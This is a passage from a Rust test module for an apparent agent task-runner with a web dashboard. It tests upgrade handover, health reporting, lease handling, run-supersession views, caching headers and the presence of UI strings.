22299 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22300 .await
22301 .is_err(),
22302 "a consumed signal must not wake a second time"
22303 );
22304 let signal = std::sync::Arc::new(signal);
22306 let waiter = tokio::spawn({
22307 let signal = std::sync::Arc::clone(&signal);
22308 async move { wait_for_handover(&signal).await }
22309 });
22310 tokio::time::sleep(Duration::from_millis(20)).await;
22311 assert!(!waiter.is_finished(), "nothing was signalled yet");
22312 signal.notify_one();
22313 tokio::time::timeout(Duration::from_secs(5), waiter)
22314 .await
22315 .expect("a late signal wakes the waiter")
22316 .expect("join");
22317 }
22318
22319 #[tokio::test]
22320 async fn health_says_how_long_a_handover_has_been_stuck() {
22321 let fx = Fixture::start().await;
22322 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22323 progress.advance(crate::updater::Stage::Replaced);
22324 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22325 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22326
22327 let health = fx.get("/api/health").await.json();
22328 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22329 assert!(stuck >= 600, "{stuck}");
22330 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22331 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22332 }
22333
22334 #[tokio::test]
22335 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22336 let home = tempfile::tempdir().expect("temp home");
22337 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22338 progress.advance(crate::updater::Stage::Parking);
22339 crate::updater::write_progress(home.path(), &progress).expect("seed");
22340 let mut again = progress.clone();
22342 again.advance(crate::updater::Stage::Replaced);
22343 crate::updater::write_progress(home.path(), &again).expect("replaced");
22344 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22345 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22346 let after = crate::updater::read_progress(home.path()).expect("record");
22347 assert_eq!(after.stage, crate::updater::Stage::Parking);
22348 }
22349
22350 #[tokio::test]
22351 async fn health_does_not_call_a_live_parking_wait_stuck() {
22352 let fx = Fixture::start().await;
22353 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22354 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22355 progress.advance(crate::updater::Stage::Parking);
22356 let hours = Duration::from_secs(3 * 3600);
22357 progress.started_at = Timestamp::now() - hours;
22358 progress.updated_at = Timestamp::now() - hours;
22359 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22360 let _lease = crate::updater::LeaseGuard::enter(
22361 fx.home.path(),
22362 Some("20260905-000000-cd51".to_owned()),
22363 );
22364
22365 let health = fx.get("/api/health").await.json();
22366 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22367 assert!(health["upgrade"]["stuck_kind"].is_null());
22368 assert_eq!(health["upgrade"]["handover_alive"], true);
22369 let waiting_on = health["upgrade"]["waiting_on"]
22370 .as_str()
22371 .expect("waiting_on");
22372 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22373 }
22374
22375 fn idle_ui(home: &TempDir) -> Ui {
22376 let runs = home.path().join("runs");
22377 std::fs::create_dir_all(&runs).expect("runs dir");
22378 Ui::new(
22379 Queue::at(home.path().join("queue")),
22380 Questions::at(home.path().join("questions")),
22381 Talks::at(home.path().join("talks")),
22382 runs,
22383 home.path().to_path_buf(),
22384 PathBuf::from("/repo/magi"),
22385 )
22386 .with_launch(launch_idle)
22387 }
22388
22389 #[tokio::test]
22390 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22391 let home = TempDir::new().expect("temp home");
22392 let ui = idle_ui(&home);
22393 let lease = crate::worker::try_lease(home.path(), "scheduler")
22394 .expect("scheduler lease")
22395 .expect("free");
22396 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22397 .expect("request stop");
22398 let error = ui
22399 .start_detached_loop()
22400 .await
22401 .expect_err("transition is still live");
22402 assert_eq!(error.status, StatusCode::CONFLICT);
22403 assert!(error.message.contains("still running or stopping"));
22404 assert_eq!(
22405 crate::worker::control(home.path(), "scheduler").unwrap(),
22406 Some(crate::worker::Control::Stop)
22407 );
22408 drop(lease);
22409 }
22410
22411 #[tokio::test]
22412 async fn handover_releases_listener_without_waiting_for_execution_leases() {
22413 let home = TempDir::new().expect("temp home");
22414 let ui = idle_ui(&home);
22415 let turns = ui
22416 .begin_talk_turn("active-chat")
22417 .expect("claim")
22418 .expect("free");
22419 let execution = crate::worker::try_lease(home.path(), "active-task")
22420 .expect("execution lease")
22421 .expect("free");
22422 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22423 .await
22424 .expect("bind loopback");
22425 let address = listener.local_addr().expect("address");
22426 let admissions = Arc::clone(&ui.admissions);
22427 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22428 let successor_started = std::sync::atomic::AtomicBool::new(false);
22429 tokio::time::timeout(
22430 Duration::from_secs(2),
22431 hand_over(home.path(), &admissions, served, || {
22432 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22433 Ok(1)
22434 }),
22435 )
22436 .await
22437 .expect("restart must not wait for execution")
22438 .expect("handover");
22439 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22440 let successor = bind_waiting(address)
22443 .await
22444 .expect("successor binds released address");
22445 assert_eq!(successor.local_addr().unwrap(), address);
22446 assert!(turns.owns(), "the chat lease survives restart");
22447 assert!(
22448 crate::worker::try_lease(home.path(), "active-task")
22449 .unwrap()
22450 .is_none()
22451 );
22452 drop(execution);
22453 drop(turns);
22454 }
22455
22456 #[tokio::test]
22457 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22458 let home = TempDir::new().expect("temp home");
22459 let ui = idle_ui(&home);
22460 let admission = ui.begin_admission().expect("admit send");
22461 let turn = ui
22462 .begin_talk_turn("active-chat")
22463 .expect("claim")
22464 .expect("free");
22465 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22466 .await
22467 .expect("bind loopback");
22468 let address = listener.local_addr().expect("address");
22469 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22470 let successor_called = std::sync::atomic::AtomicBool::new(false);
22471 let handover = hand_over(home.path(), &ui.admissions, served, || {
22472 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22473 Ok(1)
22474 });
22475 tokio::pin!(handover);
22476 std::future::poll_fn(|cx| {
22479 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22480 std::task::Poll::Ready(())
22481 })
22482 .await;
22483 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22484 assert!(
22485 ui.begin_admission().is_err(),
22486 "new ingress cannot race the drain"
22487 );
22488 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22489 drop(admission);
22490 tokio::time::timeout(Duration::from_secs(2), handover)
22491 .await
22492 .expect("only publication may delay restart")
22493 .expect("handover");
22494 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22495 assert!(
22496 turn.owns(),
22497 "the detached chat turn is not awaited or cancelled"
22498 );
22499 assert!(
22500 ui.begin_admission().is_err(),
22501 "old accepted connections stay closed"
22502 );
22503 drop(turn);
22504 }
22505
22506 #[test]
22507 fn health_worker_metadata_never_contains_payload_or_result() {
22508 let view = WorkerView::from(crate::worker::Job {
22509 id: "job".into(),
22510 sequence: 1,
22511 kind: "service".into(),
22512 key: "maintenance".into(),
22513 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22514 generation: "generation".into(),
22515 version: Some("1.2.3".into()),
22516 status: crate::worker::Status::Running,
22517 result: Some("private diagnostics".into()),
22518 pid: Some(4242),
22519 created_at: 1,
22520 finished_at: None,
22521 });
22522 let value = serde_json::to_value(view).expect("serialize public metadata");
22523 assert_eq!(value["version"], "1.2.3");
22524 assert_eq!(value["pid"], 4242);
22525 assert!(value.get("payload").is_none());
22526 assert!(value.get("result").is_none());
22527 assert!(!value.to_string().contains("private"));
22528 }
22529
22530 #[test]
22531 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22532 let home = TempDir::new().expect("temp home");
22533 let ui = idle_ui(&home);
22534 std::fs::write(
22535 home.path().join("daemon.json"),
22536 serde_json::json!({
22537 "schema": 2, "pid": 4242, "worker_protocol": 1,
22538 "updated_at": Timestamp::now().to_string(), "idle": true,
22539 })
22540 .to_string(),
22541 )
22542 .expect("status");
22543 let reading = daemon::read_status(home.path());
22544 assert!(Foreign::of(reading.as_ref()).is_none());
22545 let view = ui.runtime_loop_view(reading, &[]);
22546 assert!(view.running);
22547 assert!(view.owned);
22548 }
22549
22550 #[test]
22551 fn only_an_explicit_one_requests_a_resume() {
22552 assert!(!resume_requested(None));
22553 assert!(!resume_requested(Some("0".into())));
22554 assert!(!resume_requested(Some("".into())));
22555 assert!(resume_requested(Some("1".into())));
22556 }
22557
22558 #[test]
22559 fn an_error_is_visible_from_where_the_button_is() {
22560 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22565 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22566 assert!(
22567 alert.contains("position: fixed"),
22568 "an error about the thing under your thumb has to be visible from \
22569 where your thumb is: {alert}"
22570 );
22571 assert!(
22572 alert.contains("z-index: 25"),
22573 "above the dock (20) and the run-actions FAB (15), so neither \
22574 buries it: {alert}"
22575 );
22576 assert!(
22577 alert.contains("var(--tap)"),
22578 "and clear of the dock and the home indicator: {alert}"
22579 );
22580 assert!(
22583 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22584 "the FAB's column stays free: {alert}"
22585 );
22586 }
22587
22588 #[tokio::test]
22589 async fn an_older_attempt_says_what_replaced_it() {
22590 let fx = Fixture::start().await;
22591 let q = fx.queue();
22592 let runs = fx.runs();
22593 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22594 write_run(&runs, first, RunStatus::Stalled);
22595 write_run(&runs, second, RunStatus::Blocked);
22596
22597 let mut t = Task::new(
22598 "one task".to_owned(),
22599 "do it".to_owned(),
22600 PathBuf::from("/repo"),
22601 Source::Human,
22602 );
22603 t.runs = vec![first.to_owned(), second.to_owned()];
22604 q.put(&mut t).expect("put");
22605
22606 let rows = fx.get("/api/runs").await.json();
22610 let by = |short: &str| -> Value {
22611 rows.as_array()
22612 .unwrap()
22613 .iter()
22614 .find(|r| r["short"] == short)
22615 .cloned()
22616 .unwrap_or(Value::Null)
22617 };
22618 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22619 assert!(
22620 by("bbbb")["superseded_by"].is_null(),
22621 "the latest attempt is not superseded by anything"
22622 );
22623 assert!(APP_JS.contains("run.superseded_by"));
22625 assert!(APP_JS.contains("Superseded by"));
22626 }
22627
22628 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22629 let mut t = Task::new(
22630 "one task".to_owned(),
22631 "do it".to_owned(),
22632 PathBuf::from("/repo"),
22633 Source::Human,
22634 );
22635 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22636 t.status = status;
22637 t
22638 }
22639
22640 #[test]
22641 fn source_link_picks_the_page_that_filed_the_task() {
22642 let agent = |node: &str| Source::Agent {
22643 run: "20260904-014455-ab12".to_owned(),
22644 node: node.to_owned(),
22645 };
22646 let chat = source_link(&agent("chat")).expect("chat link");
22647 assert_eq!(chat.kind, "chat");
22648 assert_eq!(chat.id, "20260904-014455-ab12");
22649 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22650 let run = source_link(&agent("implement")).expect("run link");
22651 assert_eq!(
22652 (run.kind, run.href.as_str()),
22653 ("run", "#/runs/20260904-014455-ab12")
22654 );
22655 assert_eq!(source_link(&Source::Human), None);
22656 assert_eq!(
22657 source_link(&Source::Issue {
22658 number: 3,
22659 repo: "o/r".to_owned()
22660 }),
22661 None
22662 );
22663 let odd = source_link(&Source::Agent {
22664 run: "a b/c".to_owned(),
22665 node: "chat".to_owned(),
22666 })
22667 .expect("link");
22668 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22669 }
22670
22671 #[test]
22672 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22673 assert!(
22674 !APP_JS.contains("src.node === \"chat\""),
22675 "inline href rule is back"
22676 );
22677 assert!(
22678 APP_JS.matches("sourceLinkOf(").count() >= 4,
22679 "helper must serve every page"
22680 );
22681 assert!(
22682 APP_JS.matches("openChatLink(").count() >= 3,
22683 "the run page still needs its explicit chat link"
22684 );
22685 assert!(
22686 !APP_JS.contains("const openChat = el("),
22687 "the Queue card duplicates its source label link again"
22688 );
22689 assert!(
22690 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22691 "the task page must link a chat source label too"
22692 );
22693 }
22694
22695 #[test]
22696 fn task_ref_carries_the_source_link_for_a_chat_task() {
22697 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22698 t.source = Source::Agent {
22699 run: "20260904-014455-ab12".to_owned(),
22700 node: "chat".to_owned(),
22701 };
22702 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22703 let v = serde_json::to_value(&out).expect("json");
22704 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22705 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22706 assert_eq!(v["source_label"], t.source.label());
22707
22708 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22709 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22710 .expect("json");
22711 assert!(v["source_link"].is_null(), "{v}");
22712 }
22713
22714 #[test]
22715 fn task_view_serializes_source_link() {
22716 let mut t = Task::new(
22717 "t".to_owned(),
22718 "t".to_owned(),
22719 PathBuf::from("/repo"),
22720 Source::Agent {
22721 run: "20260901-000000-aaaa".to_owned(),
22722 node: "implement".to_owned(),
22723 },
22724 );
22725 t.runs.clear();
22726 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22727 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22728 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22729 }
22730
22731 #[test]
22732 fn task_view_serializes_urgent_flag() {
22733 let mut t = Task::new(
22734 "t".to_owned(),
22735 "t".to_owned(),
22736 PathBuf::from("/repo"),
22737 Source::Human,
22738 );
22739 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22740 assert_eq!(v["urgent"], false, "{v}");
22741 t.urgent = true;
22742 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22743 assert_eq!(v["urgent"], true, "{v}");
22744 assert!(APP_JS.contains("task.urgent === true"));
22745 }
22746
22747 #[tokio::test]
22748 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22749 let fx = Fixture::start().await;
22750 let runs = fx.runs();
22751 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22752 write_run(&runs, old, RunStatus::Blocked);
22753 write_run(&runs, new, RunStatus::Merged);
22754 let mut t = outcome_task(&[old, new], TaskStatus::Done);
22755 fx.queue().put(&mut t).expect("put");
22756
22757 let view = fx.get(&format!("/api/runs/{old}")).await.json();
22758 let task = &view["task"];
22759 assert_eq!(task["status"], "done");
22760 assert_eq!(task["is_latest"], false);
22761 assert_eq!(task["latest"]["short"], "bbbb");
22762 assert_eq!(task["finished_by"]["id"], new);
22763 assert_eq!(task["finished_by"]["outcome"], "merged");
22764 assert_eq!(task["closed_by_hand"], false);
22765 assert_eq!(view["status"], "blocked", "the run keeps its own status");
22766 assert!(APP_JS.contains("finished_by"));
22767 assert!(APP_JS.contains("superseded by run"));
22768 }
22769
22770 #[tokio::test]
22771 async fn the_latest_run_reports_a_held_task_without_a_successor() {
22772 let fx = Fixture::start().await;
22773 let runs = fx.runs();
22774 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22775 write_run(&runs, old, RunStatus::Stalled);
22776 write_run(&runs, new, RunStatus::Blocked);
22777 let mut t = outcome_task(&[old, new], TaskStatus::Held);
22778 fx.queue().put(&mut t).expect("put");
22779
22780 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22781 assert_eq!(task["status"], "held");
22782 assert_eq!(task["is_latest"], true);
22783 assert!(task["latest"].is_null());
22784 assert!(task["finished_by"].is_null());
22785 assert_eq!(task["closed_by_hand"], false);
22786 }
22787
22788 #[tokio::test]
22789 async fn a_direct_run_has_no_task_outcome() {
22790 let fx = Fixture::start().await;
22791 let runs = fx.runs();
22792 let id = "20260901-000000-aaaa";
22793 write_run(&runs, id, RunStatus::Blocked);
22794 let view = fx.get(&format!("/api/runs/{id}")).await.json();
22795 assert!(view["task"].is_null());
22796 }
22797
22798 #[test]
22799 fn task_outcome_does_not_guess_a_finishing_run() {
22800 let a = "20260901-000000-aaaa";
22801 let b = "20260901-000000-bbbb";
22802 let c = "20260901-000000-cccc";
22803 let dir = tempfile::tempdir().expect("tempdir");
22804 write_run(dir.path(), a, RunStatus::Blocked);
22805 write_run(dir.path(), b, RunStatus::VerifiedNoop);
22806 let read = |id: &str| read_run(dir.path(), id).ok();
22808 let t = outcome_task(&[a, b, c], TaskStatus::Done);
22811 let out = task_outcome(&t, a, 3, read);
22812 assert!(out.finished_by.is_none());
22813 assert!(out.closed_by_hand);
22814 let latest = out.latest.expect("latest");
22815 assert_eq!(latest.id, c);
22816 assert_eq!(latest.status, None);
22817 assert_eq!(latest.outcome, "record unreadable");
22818
22819 write_run(dir.path(), c, RunStatus::Ready);
22821 let t = outcome_task(&[a, c], TaskStatus::Done);
22822 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22823 assert_eq!(out.finished_by.expect("finisher").id, c);
22824 assert!(!out.closed_by_hand);
22825
22826 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22828 assert!(task_outcome(&t, a, 3, read).is_latest);
22829 }
22830
22831 #[tokio::test]
22832 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22833 let fx = Fixture::start().await;
22838 let q = fx.queue();
22839 let runs = fx.runs();
22840 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22841 write_run(&runs, first, RunStatus::Blocked);
22842 write_run(&runs, second, RunStatus::Merged);
22843
22844 let mut t = Task::new(
22845 "one task".to_owned(),
22846 "do it".to_owned(),
22847 PathBuf::from("/repo"),
22848 Source::Human,
22849 );
22850 t.runs = vec![first.to_owned(), second.to_owned()];
22851 q.put(&mut t).expect("put");
22852
22853 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22854 assert_eq!(earlier["superseded_by"], "dddd");
22855 assert_eq!(earlier["latest_attempt"]["id"], second);
22856 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22857 assert_eq!(
22858 earlier["latest_attempt"]["resolved"], true,
22859 "the run that replaced it landed, so this one reads as settled"
22860 );
22861
22862 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22863 assert!(
22864 later["superseded_by"].is_null(),
22865 "the latest attempt is not superseded by anything"
22866 );
22867 assert!(
22868 later["latest_attempt"].is_null(),
22869 "the latest attempt has no later attempt of its own"
22870 );
22871
22872 assert!(APP_JS.contains("run.latest_attempt"));
22879 assert!(APP_JS.contains("data-superseded"));
22880 assert!(APP_JS.contains("#/runs/${latest.id}"));
22881 }
22882
22883 #[tokio::test]
22884 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22885 let fx = Fixture::start().await;
22891 let q = fx.queue();
22892 let runs = fx.runs();
22893 let (a, b, c) = (
22894 "20260901-000000-aaaa",
22895 "20260901-000000-bbbb",
22896 "20260901-000000-cccc",
22897 );
22898 write_run(&runs, a, RunStatus::Blocked);
22899 write_run(&runs, b, RunStatus::Blocked);
22900 write_run(&runs, c, RunStatus::Merged);
22901
22902 let mut t = Task::new(
22903 "retried twice".to_owned(),
22904 "do it".to_owned(),
22905 PathBuf::from("/repo"),
22906 Source::Human,
22907 );
22908 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22909 q.put(&mut t).expect("put");
22910
22911 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22912 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22913 assert_eq!(
22914 view["latest_attempt"]["id"], c,
22915 "the chain's current head, not the intermediate Blocked retry"
22916 );
22917 assert_eq!(view["latest_attempt"]["resolved"], true);
22918
22919 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22920 assert_eq!(mid["latest_attempt"]["id"], c);
22921 assert_eq!(mid["latest_attempt"]["resolved"], true);
22922 }
22923
22924 #[tokio::test]
22925 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22926 let fx = Fixture::start().await;
22927 let q = fx.queue();
22928 let runs = fx.runs();
22929
22930 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22933 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22934 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22935 let mut t1 = Task::new(
22936 "still stuck".to_owned(),
22937 "do it".to_owned(),
22938 PathBuf::from("/repo"),
22939 Source::Human,
22940 );
22941 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22942 q.put(&mut t1).expect("put");
22943 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22944 assert_eq!(view1["latest_attempt"]["resolved"], false);
22945 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22946 assert_eq!(view1["latest_attempt"]["done"], true);
22947
22948 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22950 write_run(&runs, run_a, RunStatus::Blocked);
22951 write_run(&runs, run_b, RunStatus::Implementing);
22952 let mut t3 = Task::new(
22953 "retrying".to_owned(),
22954 "do it".to_owned(),
22955 PathBuf::from("/repo"),
22956 Source::Human,
22957 );
22958 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22959 q.put(&mut t3).expect("put");
22960 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22961 assert_eq!(view3["latest_attempt"]["id"], run_b);
22962 assert_eq!(view3["latest_attempt"]["resolved"], false);
22963 assert_eq!(view3["latest_attempt"]["done"], false);
22964
22965 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
22970 write_run(&runs, noop_a, RunStatus::Blocked);
22971 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
22972 let mut t2 = Task::new(
22973 "claims done".to_owned(),
22974 "do it".to_owned(),
22975 PathBuf::from("/repo"),
22976 Source::Human,
22977 );
22978 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
22979 q.put(&mut t2).expect("put");
22980 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
22981 assert_eq!(
22982 view2["latest_attempt"]["resolved"], false,
22983 "an unverified no-op claim must not read as a confirmed finish"
22984 );
22985
22986 assert!(APP_JS.contains("latest.resolved"));
22989 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
22992 assert!(APP_JS.contains("Latest attempt: "));
22993 assert!(APP_JS.contains("in flight"));
22994 assert!(APP_JS.contains("not resolved"));
22995 }
22996
22997 #[tokio::test]
22998 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
22999 let fx = Fixture::start().await;
23000 let js = fx.get("/app.js").await;
23006 assert_eq!(js.status, 200);
23007 let tag = js
23008 .header("etag")
23009 .expect("an etag to revalidate against")
23010 .to_owned();
23011 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23012 assert_eq!(
23013 js.header("cache-control"),
23014 Some("no-cache, must-revalidate"),
23015 "the phone has to ask every time"
23016 );
23017
23018 let again = fx
23021 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23022 .await;
23023 assert_eq!(
23024 again.status, 304,
23025 "a deck it already has costs one round trip"
23026 );
23027 assert!(again.body.is_empty(), "304 carries no body");
23028
23029 let weak = fx
23032 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23033 .await;
23034 assert_eq!(weak.status, 304);
23035 let stale = fx
23036 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23037 .await;
23038 assert_eq!(stale.status, 200, "an older build must be replaced");
23039 assert!(stale.body.contains("renderRunActions"));
23040 }
23041
23042 #[test]
23043 fn the_task_detail_has_an_actions_fab_and_sheet() {
23044 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23045 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23046 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23047 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23049 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23050 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23052 assert!(APP_JS.contains("renderTaskActions(null);"));
23053 let sheet = APP_JS
23055 .find("function renderTaskActions")
23056 .expect("sheet renderer");
23057 let body = &APP_JS[sheet..sheet + 3000];
23058 assert!(body.contains("changePriority("));
23059 assert!(body.contains("openTaskEdit(task)"));
23060 assert!(body.contains("renderTaskHoldBox(host"));
23061 assert!(body.contains("renderTaskDoneBox(host"));
23062 assert!(body.contains("renderTaskDeleteBox(host"));
23063 assert!(APP_JS.contains("API.priority(id)"));
23064 assert!(APP_JS.contains("API.deleteTask(id)"));
23065 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23067 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23069 }
23070
23071 #[test]
23072 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23073 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23074 let actions = INDEX_HTML
23075 .find("id=\"run-actions-box\"")
23076 .expect("actions box");
23077 assert!(task < actions, "the task entry comes first in the sheet");
23078 assert!(APP_JS.contains("renderRunTaskEntry"));
23079 assert!(APP_JS.contains("\"Open task \""));
23080 assert!(APP_JS.contains("started directly, no task"));
23082 assert!(APP_JS.contains("sheet-task-link"));
23083 assert!(APP_JS.contains("task-chip-link"));
23084 }
23085
23086 #[test]
23087 fn the_deck_never_sends_the_operator_to_a_terminal() {
23088 assert!(
23091 !APP_JS.contains("Run `magi fold` first"),
23092 "the deck must offer the fold, not prescribe a shell command"
23093 );
23094 assert!(APP_JS.contains("foldRun:"));
23095 assert!(APP_JS.contains("resumeRun:"));
23096 assert!(APP_JS.contains("renderRunActions"));
23097
23098 assert!(APP_JS.contains("armedFold"));
23100 assert!(APP_JS.contains("Yes, fold worktrees"));
23101
23102 assert!(APP_JS.contains("can no longer be resumed"));
23105 }
23106
23107 #[test]
23108 fn a_finished_run_explains_itself_with_its_own_last_line() {
23109 assert!(
23115 !APP_JS.contains("collapsed on agent quota"),
23116 "a stall must not be explained by a cause the deck did not check"
23117 );
23118 assert!(
23119 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23120 "and a block must not offer a guess with an `or` in it"
23121 );
23122
23123 assert!(
23127 APP_JS.contains("setText(r.event, run.event || \"\")"),
23128 "the run's last line is rendered unconditionally"
23129 );
23130 assert!(
23131 !APP_JS.contains("moving && run.event"),
23132 "and never gated on the run still moving"
23133 );
23134
23135 assert!(APP_JS.contains("lost to quota"));
23137 }
23138
23139 #[test]
23161 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23162 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23163 let shapes_body_start =
23164 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23165 let shapes_close = APP_JS[shapes_body_start..]
23166 .find("].map(")
23167 .expect("the shape list is closed by its done-computing .map(...)")
23168 + shapes_body_start;
23169 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23170
23171 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23172 for entry in shapes_src.split('{').skip(1) {
23173 let waiting = entry.contains("waiting: true");
23174 let dead = entry.contains("live: \"dead\"");
23175 let status_at =
23176 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23177 let status_end = entry[status_at..]
23178 .find('"')
23179 .expect("the status string is closed")
23180 + status_at;
23181 let parked = entry.contains("display_status: \"parked\"");
23182 shapes.push((
23183 waiting,
23184 entry[status_at..status_end].to_string(),
23185 dead,
23186 parked,
23187 ));
23188 }
23189 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23190
23191 let done_rule_marker = "done: !";
23195 let done_rule_at = APP_JS[shapes_close..]
23196 .find(done_rule_marker)
23197 .expect("the done rule follows the shape list")
23198 + shapes_close
23199 + done_rule_marker.len();
23200 let includes_at = APP_JS[done_rule_at..]
23201 .find(".includes(shape.status)")
23202 .expect("the done rule ends in .includes(shape.status)")
23203 + done_rule_at;
23204 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23205 .trim()
23206 .trim_start_matches('[')
23207 .trim_end_matches(']')
23208 .split(',')
23209 .map(|s| s.trim().trim_matches('"'))
23210 .filter(|s| !s.is_empty())
23211 .collect();
23212
23213 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23214 .into_iter()
23215 .map(|(waiting, status, dead, parked)| {
23216 let done = !not_done.contains(&status.as_str());
23217 (waiting, status, dead, parked, done)
23218 })
23219 .collect();
23220
23221 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23225 if waiting {
23226 return "waiting";
23227 }
23228 if dead
23229 && !parked
23230 && !matches!(
23231 status,
23232 "merged"
23233 | "ready"
23234 | "stalled"
23235 | "blocked"
23236 | "failed"
23237 | "verified_noop"
23238 | "superseded"
23239 | "already_in_base"
23240 )
23241 {
23242 return "stale";
23243 }
23244 match status {
23245 "merged" | "ready" => "landed",
